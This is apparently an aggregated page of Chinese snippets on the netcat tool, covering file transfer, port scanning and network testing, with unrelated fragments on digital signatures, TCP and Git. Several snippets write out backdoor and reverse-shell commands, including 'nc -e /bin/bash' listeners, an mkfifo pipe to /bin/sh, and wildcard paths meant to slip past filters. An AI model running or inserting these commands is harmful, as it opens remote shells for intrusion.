使用nc命令可以很快的在两台主机传递文件,且不需要在同一网段,只要设置好端口即可....一.安装(CentOS下) yum install -y nc (需要root权限,可以用加上sudo) 二.使用 1.收方(服务端)(假设IP是: 192.168.XXX.XXX) 监听一个端口,把接收数据重定向...(或者说保存)到文件 nc -l 7777 > recv.txt 2.发方(客户端) 请求向服务端发送文件,文件输入到这个服务端的端口 nc 192.168.XXX.XXX 7777 < send.txt
生产和开发机内网不通,都是走公网传输。很容易想到:10+G,非 80 端口,ssh 协议(自己公司约定好的),肯定特别慢,之前用的时候每秒也就 2 兆。 某同事:“我有办法让你更快点。”...nc -l 80 > all.tar.gz 生产环境机器,直接往 1.1.1.1 的 80 端口写入数据即可,写完进程会自动结束!...nc 1.1.1.1 80 < all.tar.gz 用 md5sum 校验一下,发现 md5 一致 md5sum all.tar.gz 时间多久就真的忘记了,确实比 scp 快很多!
//ubuntu ---- 监听入站连接 服务器端开启入站监听 nc -l 8080 客户端连接服务端 nc ip 8080 连接上后可以互相通讯类似这样 image.png 利用NC扫描端口...利用nc扫描目标 1-100内的端口情况 nc -z -v -n -w 2 ip 1-100 image.png 利用nc发送文件 发送端执行 nc -v -l 8080 < out.txt //...文件名 接收方执行 nc -v -n ip 8080 > in.txt //收过来的时候以这个文件名保存 image.png 发送整个文件夹 发送端执行 tar -cvPf - ~/out | nc...-l 8080 客户端执行 nc -n IP 8080 | tar -xvPf - image.png 利用nc正向shell连接 目标机执行 nc -lvvp 8080 -e /bin/bash...控制端执行 nc -lvvp 8080
Centos安装nc > yum -y install nc Ubuntu安装nc > apt-get install netcat Mac安装nc > brew install netcat 命令格式...-o 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。 -p 设置本地主机使用的通信端口。 -r 乱数指定本地与远端主机的通信端口。...-u 使用UDP传输协议。 -v 显示指令执行过程。 -w 设置等待连线的时间。 -z 使用0输入/输出模式,只在扫描通信端口时使用。...建立 C/S 聊天室 nc 的本质是在两台机器之间建立连接,之后就可以基于这个连接做很多事情,数据传输是其中一个最为基本的。我们下面就使用 nc 来建立一个 C/S 的聊天室。.../linux-nc.html
上: nc 192.168.2.34 < test.txt 克隆硬盘或分区 操作与上面的拷贝是雷同的,只需要由dd获得硬盘或分区的数据,然后传输即可。...作者:Hobbit && Chris Wysopal 网址:http://www.atstake.com/research/tools/network_utilities/ 类别:开放源码 平台:Linux...你再在本地机上监听777端口,这样就进入了对方的cmd了 这也微十时毫 反弹端口式木马的原理了。 nc -v 192.168.0.25 80 获取192.168.0.25的80端口的信息。...unix,linux attacker machine: // 攻击者的机器....其他漏洞 用于传输文件 — ncp #!
环境说明 centos (公网服务器) kali linux (内网设备) 配置防火墙开启我们的端口,本次我们开启了5555端口 安装 centos系列 yum install nc -y debian...unbunt系列 apt-get install nc 进行交互式聊天 先开启服务器端 nc -l 5555 然后我们开启客户端 nc 公网ip 5555 传输文件 服务器端(接收端) nc -l...5555 > recv.txt 发送端 nc 192.168.XXX.XXX 5555 < send.txt
但是当文件过大的时候,例如前段时间需要传输一个1.7G的堆dump文件到本地,就让我犯了难,sz命令直接卡死,根本下载不下来,这个时候nc就派上了用场。...nc的作用 (1)实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口; (2)端口的扫描,nc可以作为client发起TCP或UDP连接; (3)机器之间传输文件...; (4)机器之间网络测速 我们今天主要说下,使用nc进行文件传输。...文件传输 第一步: 在本地启动一个接收文件的服务:nc -l 5555 > heapdump-1591610687839.hprof端口随便指定,不与其他重复即可;文件名按照自己需求指定;注意命令中的空格...传输目录 第一步: 本地服务启动监听, 经过测试管道后面最后必须是 - ,不能是其余自定义的文件名nc -l 5555 | tar xfvz - 第二步: 把当前目录的所有文件打包为 - ,然后使用管道通过
最近解决问题的时候,都用到了nc,但是之前对这个被称为“瑞士军刀”工具了解不多。...这次趁机梳理一下 之前在SSH穿越代理时就用到了nc (ssh&git如何穿越代理) 介绍 shell脚本中经常使用管道来把多个命令串联起来,比如下面: $ cat /var/log/messages...options host-IP-address port 常用场景 连接到远程服务器端口 使用命令nc 192.168.1.101 80,获取服务器信息,也可以使用GET获取整个页面内容 $ nc 192.168.58.101...40585/nc 开启后门 nc 命令还可以用来在系统中创建后门,并且这种技术也确实被黑客大量使用。...创建后门的命令为: $ nc -l 8000 -e /bin/bash 开启之后,其他机器可以连接到端口8000上并执行命令,获取服务器信息 $ nc 192.168.58.101 8000 pwd /
Centos安装nc > yum -y install nc Ubuntu安装nc > apt-get install netcat Mac安装nc > brew install netcat 命令格式...-o 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。 -p 设置本地主机使用的通信端口。 -r 乱数指定本地与远端主机的通信端口。...-u 使用UDP传输协议。 -v 显示指令执行过程。 -w 设置等待连线的时间。 -z 使用0输入/输出模式,只在扫描通信端口时使用。...建立 C/S 聊天室 nc 的本质是在两台机器之间建立连接,之后就可以基于这个连接做很多事情,数据传输是其中一个最为基本的。我们下面就使用 nc 来建立一个 C/S 的聊天室。.../linux-nc.html 微信公众号:入门小站
,nc 可以作为 client 发起 TCP 或 UDP 请求; (3)机器之间传输文件; (4)机器之间网络测速。...(3)利用 nc 之间的连接进行文件传输。 使用 nc 传输文件还是比较方便的,因为不用 scp 和 rsync 那种输入密码的操作了。...传输目录。...测试网速其实利用了传输文件的原理,就是把来自一台机器的 /dev/zero 发送给另一台机器的 /dev/null 就是把一台机器的无限个 0,传输给另一个机器的空设备上,然后新开一个窗口使用 dstat...---- 参考文献 [1] nc(1) manual [2] 博客园.nc命令用法举例 [3] 博客园.nc 命令使用详解
---- 关于nc之前文章就已经讲过了,不过我发现不同 linux 的nc不太一样 ?...Ubuntu 16.04 自带了nc 这次就简单介绍了 NC(1) BSD General Commands Manual NAME nc...原理其实就是管道技术 参考文章: https://www.cnblogs.com/old-path-white-cloud/p/11685558.html 本来我对自己的Linux知识还是挺有信心的,不过最近研究了这些...Linux 后门之后发现我竟然对这些命令有些犹豫(其实就是学艺不精啦) 我对这个 rm -f /tmp/f 就十分不理解,实验之后我发现,没错,就是删除 /tmp/f 这个文件,没啥特殊的,就是怕mkfifo...5555 > /tmp/f 管道输出重定向 攻击机 nc -l 5555 nc -l 6666 被控主机 nc 192.168.1.101 5555|/bin/sh|nc 192.168.1.101
使用nc命令可以很快的在两台主机传递文件,且不需要在同一网段,只要设置好端口即可. 1.接收方启动监听 比如这里,监听7777端口,把接受到的文件写入到testjfr.jfr文件中。...nc -l 7777 > testjfr.jfr 2.发送方发送文件 这里是接收方ip和监听的端口 nc 10.57.241.129 7777 < batch10w.jfr 这样就可以把发送方的文件发送到接收方服务器了...3.安装 如果没安装可以先安装 yum install -y nc (需要root权限,可以用加上sudo)
由于有时Linux服务器可能网络等等其它原因没法通过rsync 或者scp的方式传输文件,那有没有更简洁的方式来进行文件传输呢 nc是netcat的简写,有着网络界的瑞士军刀美誉,,是一款功能强大的网络调试和探测工具...,之前有介绍命名nc进行端口探测如何探测UDP端口是否开放,除了进行端口探测之外,nc还有一个很强大的功能就是文件传输 下面介绍nc命令进行文件传送 1)如上所图所示 ServerA:10.20.10.60...ivh pv-1.6.6-1.x86_64.rpm nc 10.20.10.60 2345 | pv > CentOS6-20190825.iso 这样文件就传输到了ServerB上,你可以看到传输的进度...如果传输目录的话 例如:/usr/local/mysql/data目录 发送端 cd /usr/local/mysql/data tar -zcf - * | pv | nc -l 3456 接收端...nc 10.20.10.62 3456 | pv | tar -zxf - ?
对电子文件进行数字签名并在网上传输,其技术实现过程大致如下:首先要在网上进行身份认证,然后再进行签名,最后是对签名的验证。 1....数字签名原理中定义的是对原文做数字摘要和签名并传输原文,在很多场合传输的原文是要求保密的,要求对原文进行加密的数字签名方法如何实现?这里就要涉及到“数字信封”的概念。...“电子信封”基本原理是将原文用对称密钥加密传输,而将对称密钥用收方公钥加密发送给对方。收方收到电子信封,用自己的私钥解密信封,取出对称密钥解密得原文。...如果二者相等,说明数据没有被篡改,是保密传输的,签名是真实的;否则拒绝该签名。...这样就做到了敏感信息在数字签名的传输中不被篡改,未经认证和授权的人,看不见原数据,起到了在数字签名传输中对敏感数据的保密作用。
本页目录 安装nmap centOS安装 debian安装 namp使用 扫描全部端口 nc命令 安装nc – ncat命令 nc命令详解 nmap、ncat/nc既是一个端口扫描工具,也是一款安全工具...closed blackice-alerts 8083/tcp closed us-srv 8084/tcp filtered unknown 8085/tcp filtered unknown nc...命令 安装nc – ncat命令 yum -y nc 或者 yum install nmap-ncat -y nc命令详解 [root@VM-4-12-centos ~]# nc --help Ncat
今天在查找资料的时候在一篇文章中发现了 dash 和 nc.openbsd 这两个命令,dash、rbash、nc.openbsd 和 nc.traditional 这几个命令平时都很少遇到,所以一直也就不知道他们的存在...0x02 nc.openbsd nc 有几个版本,一般系统会自带: nc nc.openbsd / nc.traditional Ubuntu 16.04 自带 nc.openbsd 但是不自带 nc.traditional..., nc.openbsd 同样可以实现反弹 shell 的功能 ?...nc.openbsd 和 nc 使用方法一样,如下: ? 那么 nc 和 nc.openbsd 在哪个目录呢? ?.../bin/nc /bin/nc.openbsd 这回如果你想用之前我说的 ` + * 方案,就知道怎么构造了 /b*n/*.open*sd /b*n/*.*pen*sd /*in/*.
,TCP是可靠传输协议,在传输数据之前需要先和接收者建立连接,通过序列号机制和重传机制保证TCP数据的可靠性。...图中展示了滑动窗口工作原理。 ? 图 滑动窗口工作原理 图中主机A为数据发送方,主机B为数据接收方。...应用端口 使用TCP协议作为传输层协议的应用程序列表如下所示: 端口 协议 说明 21 FTP 文件传输协议,用于上传、下载 23 Telnet 用于远程登录,通过连接目标计算机的这一端口,得到验证后可以远程控制管理目标计算机...) 80 HTTP 超文本传输协议,通过HTTP实现网络上超文本的传输 表7-1 TCP端口列表 MAC地址表(CAM表=内容可寻址内存) 交换机收到数据帧以后学习数据帧中源MAC地址构建MAC地址表...交换机的基本工作原理可以概括地描述如下: 如果进入交换机的是一个单播帧,则交换机会去MAC地址表中查找这个帧的目的MAC地址。 1)如果查不到这个MAC地址,则交换机执行泛洪操作。
传输协议 Git 可以通过两种主要的方式在版本库之间传输数据:“哑(dumb)”协议和“智能(smart)”协议。 本节将会带你快速浏览这两种协议的运作方式。...这个协议之所以被称为“哑”协议,是因为在传输过程中,服务端不需要有针对 Git 特有的代码;抓取过程是一系列 HTTP 的 GET 请求,这种情况下,客户端可以推断出服务端 Git 仓库的布局。...总共有两组进程用于传输数据,它们分别负责上传和下载数据。 上传数据 为了上传数据至远端,Git 使用 send-pack 和 receive-pack 进程。...客户端启动 fetch-pack 进程,连接至远端的 upload-pack 进程,以协商后续传输的数据。...协议总结 这一章节是传输协议的一个概貌。 传输协议还有很多其它的特性,像是 multi_ack 或 side-band,但是这些内容已经超出了本书的范围。
领取专属 10元无门槛券
手把手带您无忧上云